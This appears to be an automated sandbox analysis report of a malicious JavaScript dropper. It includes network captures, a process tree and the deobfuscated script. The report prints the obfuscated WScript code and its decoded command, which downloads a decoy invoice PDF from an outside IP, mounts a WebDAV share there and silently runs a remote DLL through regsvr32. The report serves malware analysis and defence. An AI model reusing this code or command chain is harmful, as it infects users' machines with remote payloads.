Jan 10, 2025 19:41:59.969172955 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 19:41:59.969186068 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 19:41:59.969199896 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 19:41:59.969214916 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 19:41:59.969228983 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 19:41:59.969244957 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 19:41:59.969257116 CET	36	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 Data Ascii: \|%gkPi~vU=.[
Jan 10, 2025 19:42:00.012001991 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	2120	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:42:01.596877098 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:42:02.391027927 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:42:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:41:50
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2986414422293398212.js"
Imagebase:	0x7ff7d0210000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:41:51
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll
Imagebase:	0x7ff676200000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:41:51
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:41:51
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:42:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:42:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff676200000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:42:00
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff770d90000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:42:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:42:01
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:42:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1668,i,2120020027183295763,11696217655528420210,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sikhbu() {	sikhbu() ➔ undefined
1	jitjpfnt = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ztpgqfn = this[vxogmh + gbeox + imgter + bgwamiz + hmsjjclj + twzeagx + ezdznxuoh + bjjvvev] ( this[aldpghe + kjsdyly + rbhrzhjwp + imgter + cqtztmpfv + vxogmh + bjjvvev][cfiopkl + imgter + hmsjjclj + gbeox + bjjvvev + hmsjjclj + mstahxhcw + gmofo + gvnimfxqi + hmsjjclj + rbhrzhjwp + bjjvvev] ( aldpghe + kjsdyly + rbhrzhjwp + imgter + cqtztmpfv + vxogmh + bjjvvev + cyfgtptn + kjsdyly + nmyvzbo + hmsjjclj + fytql + fytql ) [yvyvqcpo + hmsjjclj + scundh + yvyvqcpo + hmsjjclj + gbeox + wsffs] ( pfxiol + akpswecl + xwvygyz + lnkusy + kixuc + cfiopkl + chwavnz + yvyvqcpo + yvyvqcpo + xwvygyz + axxto + pxhjd + kixuc + chwavnz + kjsdyly + xwvygyz + yvyvqcpo + zukvqd + cfiopkl + xfqusnomm + ezdznxuoh + bjjvvev + imgter + xfqusnomm + fytql + redmbrjf + yzvlw + gbeox + ezdznxuoh + hmsjjclj + fytql + zukvqd + twzeagx + ezdznxuoh + bjjvvev + hmsjjclj + imgter + ezdznxuoh + gbeox + bjjvvev + cqtztmpfv + xfqusnomm + ezdznxuoh + gbeox + fytql + zukvqd + ukhqptvqs + xfqusnomm + rbhrzhjwp + gbeox + fytql + hmsjjclj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zygouin = 0 ; zygouin < jitjpfnt[fytql + hmsjjclj + ezdznxuoh + scundh + bjjvvev + nmyvzbo] ; ++ zygouin )
4	{
5	if ( ztpgqfn == jitjpfnt[zygouin] )
6	{
7	ztpgqfn = true;
8	break ;
9	}
10	}
11	if ( ztpgqfn !== true )
12	this[aldpghe + kjsdyly + rbhrzhjwp + imgter + cqtztmpfv + vxogmh + bjjvvev][vxsfr + gmsfsa + cqtztmpfv + bjjvvev] ( );
13	this[aldpghe + kjsdyly + rbhrzhjwp + imgter + cqtztmpfv + vxogmh + bjjvvev][cfiopkl + imgter + hmsjjclj + gbeox + bjjvvev + hmsjjclj + mstahxhcw + gmofo + gvnimfxqi + hmsjjclj + rbhrzhjwp + bjjvvev] ( aldpghe + kjsdyly + rbhrzhjwp + imgter + cqtztmpfv + vxogmh + bjjvvev + cyfgtptn + kjsdyly + nmyvzbo + hmsjjclj + fytql + fytql ) [imgter + gmsfsa + ezdznxuoh] ( rbhrzhjwp + nzqrhdqp + wsffs + redmbrjf + ugxpc + rbhrzhjwp + redmbrjf + vxogmh + xfqusnomm + mkfpuujh + hmsjjclj + imgter + bgwamiz + nmyvzbo + hmsjjclj + fytql + fytql + cyfgtptn + hmsjjclj + pobopujjw + hmsjjclj + redmbrjf + pgfsi + cfiopkl + xfqusnomm + nzqrhdqp + nzqrhdqp + gbeox + ezdznxuoh + wsffs + redmbrjf + tqspmynbr + twzeagx + ezdznxuoh + gplrga + xfqusnomm + pumfrrl + hmsjjclj + pgfsi + aldpghe + hmsjjclj + gmofo + yvyvqcpo + hmsjjclj + rgmsm + gmsfsa + hmsjjclj + bgwamiz + bjjvvev + redmbrjf + pgfsi + mstahxhcw + gmsfsa + bjjvvev + tugpjl + cqtztmpfv + fytql + hmsjjclj + redmbrjf + qjosw + bjjvvev + hmsjjclj + nzqrhdqp + vxogmh + qjosw + zukvqd + cqtztmpfv + ezdznxuoh + gplrga + xfqusnomm + cqtztmpfv + rbhrzhjwp + hmsjjclj + cyfgtptn + vxogmh + wsffs + dawzwcr + redmbrjf + nmyvzbo + bjjvvev + bjjvvev + vxogmh + cruid + ugxpc + ugxpc + sqeaen + qprgcf + nzwsf + cyfgtptn + sqeaen + iibcyvnce + nzwsf + cyfgtptn + sqeaen + cyfgtptn + eyxgxhxtl + upxtipa + hsfigs + ugxpc + cqtztmpfv + ezdznxuoh + gplrga + xfqusnomm + cqtztmpfv + rbhrzhjwp + hmsjjclj + cyfgtptn + vxogmh + nmyvzbo + vxogmh + tqspmynbr + nskehwm + nskehwm + bgwamiz + bjjvvev + gbeox + imgter + bjjvvev + redmbrjf + qjosw + bjjvvev + hmsjjclj + nzqrhdqp + vxogmh + qjosw + zukvqd + cqtztmpfv + ezdznxuoh + gplrga + xfqusnomm + cqtztmpfv + rbhrzhjwp + hmsjjclj + cyfgtptn + vxogmh + wsffs + dawzwcr + nskehwm + nskehwm + rbhrzhjwp + nzqrhdqp + wsffs + redmbrjf + ugxpc + rbhrzhjwp + redmbrjf + ezdznxuoh + hmsjjclj + bjjvvev + redmbrjf + gmsfsa + bgwamiz + hmsjjclj + redmbrjf + zukvqd + zukvqd + sqeaen + qprgcf + nzwsf + cyfgtptn + sqeaen + iibcyvnce + nzwsf + cyfgtptn + sqeaen + cyfgtptn + eyxgxhxtl + upxtipa + hsfigs + hbdqe + fjrhfpay + fjrhfpay + fjrhfpay + fjrhfpay + zukvqd + wsffs + gbeox + gplrga + mkfpuujh + mkfpuujh + mkfpuujh + imgter + xfqusnomm + xfqusnomm + bjjvvev + zukvqd + nskehwm + nskehwm + rbhrzhjwp + nzqrhdqp + wsffs + redmbrjf + ugxpc + rbhrzhjwp + redmbrjf + imgter + hmsjjclj + scundh + bgwamiz + gplrga + imgter + nzwsf + eyxgxhxtl + redmbrjf + ugxpc + bgwamiz + redmbrjf + zukvqd + zukvqd + sqeaen + qprgcf + nzwsf + cyfgtptn + sqeaen + iibcyvnce + nzwsf + cyfgtptn + sqeaen + cyfgtptn + eyxgxhxtl + upxtipa + hsfigs + hbdqe + fjrhfpay + fjrhfpay + fjrhfpay + fjrhfpay + zukvqd + wsffs + gbeox + gplrga + mkfpuujh + mkfpuujh + mkfpuujh + imgter + xfqusnomm + xfqusnomm + bjjvvev + zukvqd + eyxgxhxtl + vcbsfep + ordboypm + vcbsfep + ordboypm + eyxgxhxtl + upxtipa + ordboypm + sqeaen + nzwsf + sqeaen + fjrhfpay + qprgcf + fjrhfpay + sqeaen + cyfgtptn + wsffs + fytql + fytql, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\267672071318981.dll",0,false) ➔ 0
14	}
15	qprgcf = "S";
16	qprgcf = "9";
17	tugpjl = "t";
18	tugpjl = "j";
19	tugpjl = "S";
20	tugpjl = "p";
21	tugpjl = "y";
22	tugpjl = "k";
23	tugpjl = "h";
24	tugpjl = "H";
25	tugpjl = "A";
26	tugpjl = "D";
27	tugpjl = "J";
28	tugpjl = "o";
29	tugpjl = "J";
30	tugpjl = "c";
31	tugpjl = "L";
32	tugpjl = "b";
33	tugpjl = "B";
34	tugpjl = "f";
35	tugpjl = "C";
36	tugpjl = "y";
37	tugpjl = "e";
38	tugpjl = "j";
39	tugpjl = "d";
40	tugpjl = "o";
41	tugpjl = "K";
42	tugpjl = "q";
43	tugpjl = "H";
44	tugpjl = "K";
45	tugpjl = "x";
46	tugpjl = "R";
47	tugpjl = "O";
48	tugpjl = "G";
49	tugpjl = "B";
50	tugpjl = "S";
51	tugpjl = "F";
52	nmyvzbo = "R";
53	nmyvzbo = "P";
54	nmyvzbo = "t";
55	nmyvzbo = "H";
56	nmyvzbo = "x";
57	nmyvzbo = "x";
58	nmyvzbo = "X";
59	nmyvzbo = "l";
60	nmyvzbo = "L";
61	nmyvzbo = "B";
62	nmyvzbo = "R";
63	nmyvzbo = "E";
64	nmyvzbo = "L";
65	nmyvzbo = "h";
66	upxtipa = "m";
67	upxtipa = "j";
68	upxtipa = "T";
69	upxtipa = "E";
70	upxtipa = "M";
71	upxtipa = "S";
72	upxtipa = "R";
73	upxtipa = "X";
74	upxtipa = "b";
75	upxtipa = "K";
76	upxtipa = "P";
77	upxtipa = "T";
78	upxtipa = "b";
79	upxtipa = "K";
80	upxtipa = "j";
81	upxtipa = "P";
82	upxtipa = "j";
83	upxtipa = "G";
84	upxtipa = "i";
85	upxtipa = "a";
86	upxtipa = "N";
87	upxtipa = "K";
88	upxtipa = "v";
89	upxtipa = "z";
90	upxtipa = "s";
91	upxtipa = "c";
92	upxtipa = "z";
93	upxtipa = "k";
94	upxtipa = "U";
95	upxtipa = "R";
96	upxtipa = "z";
97	upxtipa = "B";
98	upxtipa = "S";
99	upxtipa = "C";
100	upxtipa = "n";
101	upxtipa = "u";
102	upxtipa = "0";
103	pgfsi = "t";
104	pgfsi = "v";
105	pgfsi = "a";
106	pgfsi = "R";
107	pgfsi = "e";
108	pgfsi = "k";
109	pgfsi = "G";
110	pgfsi = "N";
111	pgfsi = "C";
112	pgfsi = "-";
113	ezdznxuoh = "J";
114	ezdznxuoh = "S";
115	ezdznxuoh = "S";
116	ezdznxuoh = "S";
117	ezdznxuoh = "x";
118	ezdznxuoh = "F";
119	ezdznxuoh = "l";
120	ezdznxuoh = "i";
121	ezdznxuoh = "e";
122	ezdznxuoh = "D";
123	ezdznxuoh = "C";
124	ezdznxuoh = "N";
125	ezdznxuoh = "G";
126	ezdznxuoh = "v";
127	ezdznxuoh = "G";
128	ezdznxuoh = "K";
129	ezdznxuoh = "Y";
130	ezdznxuoh = "L";
131	ezdznxuoh = "m";
132	ezdznxuoh = "o";
133	ezdznxuoh = "l";
134	ezdznxuoh = "V";
135	ezdznxuoh = "b";
136	ezdznxuoh = "x";
137	ezdznxuoh = "b";
138	ezdznxuoh = "P";
139	ezdznxuoh = "P";
140	ezdznxuoh = "n";
141	hbdqe = "w";
142	hbdqe = "x";
143	hbdqe = "@";
144	rgmsm = "o";
145	rgmsm = "d";
146	rgmsm = "O";
147	rgmsm = "d";
148	rgmsm = "a";
149	rgmsm = "i";
150	rgmsm = "i";
151	rgmsm = "k";
152	rgmsm = "D";
153	rgmsm = "A";
154	rgmsm = "g";
155	rgmsm = "D";
156	rgmsm = "S";
157	rgmsm = "W";
158	rgmsm = "n";
159	rgmsm = "s";
160	rgmsm = "T";
161	rgmsm = "Z";
162	rgmsm = "O";
163	rgmsm = "m";
164	rgmsm = "E";
165	rgmsm = "g";
166	rgmsm = "j";
167	rgmsm = "P";
168	rgmsm = "n";
169	rgmsm = "C";
170	rgmsm = "q";
171	aldpghe = "N";
172	aldpghe = "U";
173	aldpghe = "A";
174	aldpghe = "i";
175	aldpghe = "w";
176	aldpghe = "T";
177	aldpghe = "e";
178	aldpghe = "C";
179	aldpghe = "H";
180	aldpghe = "j";
181	aldpghe = "T";
182	aldpghe = "P";
183	aldpghe = "Z";
184	aldpghe = "z";
185	aldpghe = "U";
186	aldpghe = "G";
187	aldpghe = "C";
188	aldpghe = "U";
189	aldpghe = "w";
190	aldpghe = "l";
191	aldpghe = "a";
192	aldpghe = "a";
193	aldpghe = "l";
194	aldpghe = "T";
195	aldpghe = "w";
196	aldpghe = "y";
197	aldpghe = "d";
198	aldpghe = "G";
199	aldpghe = "G";
200	aldpghe = "v";
201	aldpghe = "P";
202	aldpghe = "v";
203	aldpghe = "l";
204	aldpghe = "W";
205	yzvlw = "N";
206	yzvlw = "i";
207	yzvlw = "w";
208	yzvlw = "h";
209	yzvlw = "o";
210	yzvlw = "t";
211	yzvlw = "m";
212	yzvlw = "n";
213	yzvlw = "B";
214	yzvlw = "h";
215	yzvlw = "d";
216	yzvlw = "O";
217	yzvlw = "g";
218	yzvlw = "y";
219	yzvlw = "B";
220	yzvlw = "Q";
221	yzvlw = "V";
222	yzvlw = "K";
223	yzvlw = "p";
224	yzvlw = "Q";
225	yzvlw = "e";
226	yzvlw = "q";
227	yzvlw = "Q";
228	yzvlw = "E";
229	yzvlw = "d";
230	yzvlw = "M";
231	yzvlw = "P";
232	nzqrhdqp = "y";
233	nzqrhdqp = "P";
234	nzqrhdqp = "l";
235	nzqrhdqp = "N";
236	nzqrhdqp = "V";
237	nzqrhdqp = "J";
238	nzqrhdqp = "c";
239	nzqrhdqp = "m";
240	nzqrhdqp = "Z";
241	nzqrhdqp = "U";
242	nzqrhdqp = "N";
243	nzqrhdqp = "Q";
244	nzqrhdqp = "k";
245	nzqrhdqp = "X";
246	nzqrhdqp = "K";
247	nzqrhdqp = "t";
248	nzqrhdqp = "I";
249	nzqrhdqp = "h";
250	nzqrhdqp = "p";
251	nzqrhdqp = "R";
252	nzqrhdqp = "Q";
253	nzqrhdqp = "S";
254	nzqrhdqp = "N";
255	nzqrhdqp = "m";
256	pfxiol = "u";
257	pfxiol = "H";
258	pfxiol = "G";
259	pfxiol = "L";
260	pfxiol = "l";
261	pfxiol = "f";
262	pfxiol = "c";
263	pfxiol = "G";
264	pfxiol = "T";
265	pfxiol = "f";
266	pfxiol = "k";
267	pfxiol = "B";
268	pfxiol = "Q";
269	pfxiol = "x";
270	pfxiol = "v";
271	pfxiol = "P";
272	pfxiol = "h";
273	pfxiol = "S";
274	pfxiol = "v";
275	pfxiol = "K";
276	pfxiol = "q";
277	pfxiol = "E";
278	pfxiol = "k";
279	pfxiol = "x";
280	pfxiol = "h";
281	pfxiol = "c";
282	pfxiol = "s";
283	pfxiol = "E";
284	pfxiol = "W";
285	pfxiol = "D";
286	pfxiol = "U";
287	pfxiol = "f";
288	pfxiol = "O";
289	pfxiol = "p";
290	pfxiol = "I";
291	pfxiol = "H";
292	axxto = "Y";
293	axxto = "T";
294	axxto = "A";
295	axxto = "C";
296	axxto = "m";
297	axxto = "y";
298	axxto = "d";
299	axxto = "y";
300	axxto = "R";
301	axxto = "p";
302	axxto = "S";
303	axxto = "s";
304	axxto = "b";
305	axxto = "j";
306	axxto = "a";
307	axxto = "q";
308	axxto = "J";
309	axxto = "j";
310	axxto = "Q";
311	axxto = "v";
312	axxto = "V";
313	axxto = "u";
314	axxto = "N";
315	cruid = "T";
316	cruid = "w";
317	cruid = "w";
318	cruid = ":";
319	gplrga = "r";
320	gplrga = "v";
321	cqtztmpfv = "D";
322	cqtztmpfv = "l";
323	cqtztmpfv = "b";
324	cqtztmpfv = "o";
325	cqtztmpfv = "G";
326	cqtztmpfv = "m";
327	cqtztmpfv = "o";
328	cqtztmpfv = "S";
329	cqtztmpfv = "z";
330	cqtztmpfv = "I";
331	cqtztmpfv = "Z";
332	cqtztmpfv = "j";
333	cqtztmpfv = "x";
334	cqtztmpfv = "i";
335	cqtztmpfv = "R";
336	cqtztmpfv = "c";
337	cqtztmpfv = "M";
338	cqtztmpfv = "v";
339	cqtztmpfv = "y";
340	cqtztmpfv = "k";
341	cqtztmpfv = "y";
342	cqtztmpfv = "M";
343	cqtztmpfv = "O";
344	cqtztmpfv = "I";
345	cqtztmpfv = "P";
346	cqtztmpfv = "f";
347	cqtztmpfv = "p";
348	cqtztmpfv = "C";
349	cqtztmpfv = "q";
350	cqtztmpfv = "q";
351	cqtztmpfv = "S";
352	cqtztmpfv = "n";
353	cqtztmpfv = "h";
354	cqtztmpfv = "c";
355	cqtztmpfv = "K";
356	cqtztmpfv = "z";
357	cqtztmpfv = "m";
358	cqtztmpfv = "i";
359	hsfigs = "Z";
360	hsfigs = "B";
361	hsfigs = "q";
362	hsfigs = "c";
363	hsfigs = "g";
364	hsfigs = "L";
365	hsfigs = "l";
366	hsfigs = "s";
367	hsfigs = "n";
368	hsfigs = "c";
369	hsfigs = "R";
370	hsfigs = "g";
371	hsfigs = "u";
372	hsfigs = "m";
373	hsfigs = "G";
374	hsfigs = "o";
375	hsfigs = "E";
376	hsfigs = "J";
377	hsfigs = "Q";
378	hsfigs = "b";
379	hsfigs = "M";
380	hsfigs = "b";
381	hsfigs = "w";
382	hsfigs = "y";
383	hsfigs = "f";
384	hsfigs = "5";
385	kjsdyly = "k";
386	kjsdyly = "o";
387	kjsdyly = "C";
388	kjsdyly = "z";
389	kjsdyly = "S";
390	wsffs = "e";
391	wsffs = "Y";
392	wsffs = "d";
393	xwvygyz = "Y";
394	xwvygyz = "W";
395	xwvygyz = "O";
396	xwvygyz = "Y";
397	xwvygyz = "S";
398	xwvygyz = "w";
399	xwvygyz = "I";
400	xwvygyz = "E";
401	cyfgtptn = "e";
402	cyfgtptn = "s";
403	cyfgtptn = "U";
404	cyfgtptn = "r";
405	cyfgtptn = "U";
406	cyfgtptn = "n";
407	cyfgtptn = "n";
408	cyfgtptn = "V";
409	cyfgtptn = "b";
410	cyfgtptn = "C";
411	cyfgtptn = "W";
412	cyfgtptn = "W";
413	cyfgtptn = "g";
414	cyfgtptn = "W";
415	cyfgtptn = "r";
416	cyfgtptn = "v";
417	cyfgtptn = "A";
418	cyfgtptn = "M";
419	cyfgtptn = "i";
420	cyfgtptn = "n";
421	cyfgtptn = "T";
422	cyfgtptn = ".";
423	mkfpuujh = "d";
424	mkfpuujh = "S";
425	mkfpuujh = "l";
426	mkfpuujh = "e";
427	mkfpuujh = "s";
428	mkfpuujh = "f";
429	mkfpuujh = "U";
430	mkfpuujh = "c";
431	mkfpuujh = "v";
432	mkfpuujh = "v";
433	mkfpuujh = "f";
434	mkfpuujh = "k";
435	mkfpuujh = "Y";
436	mkfpuujh = "w";
437	fjrhfpay = "h";
438	fjrhfpay = "q";
439	fjrhfpay = "L";
440	fjrhfpay = "h";
441	fjrhfpay = "f";
442	fjrhfpay = "U";
443	fjrhfpay = "L";
444	fjrhfpay = "l";
445	fjrhfpay = "B";
446	fjrhfpay = "l";
447	fjrhfpay = "A";
448	fjrhfpay = "Z";
449	fjrhfpay = "k";
450	fjrhfpay = "n";
451	fjrhfpay = "L";
452	fjrhfpay = "h";
453	fjrhfpay = "U";
454	fjrhfpay = "B";
455	fjrhfpay = "B";
456	fjrhfpay = "Q";
457	fjrhfpay = "8";
458	yvyvqcpo = "V";
459	yvyvqcpo = "K";
460	yvyvqcpo = "W";
461	yvyvqcpo = "h";
462	yvyvqcpo = "Q";
463	yvyvqcpo = "R";
464	yvyvqcpo = "Y";
465	yvyvqcpo = "N";
466	yvyvqcpo = "h";
467	yvyvqcpo = "I";
468	yvyvqcpo = "o";
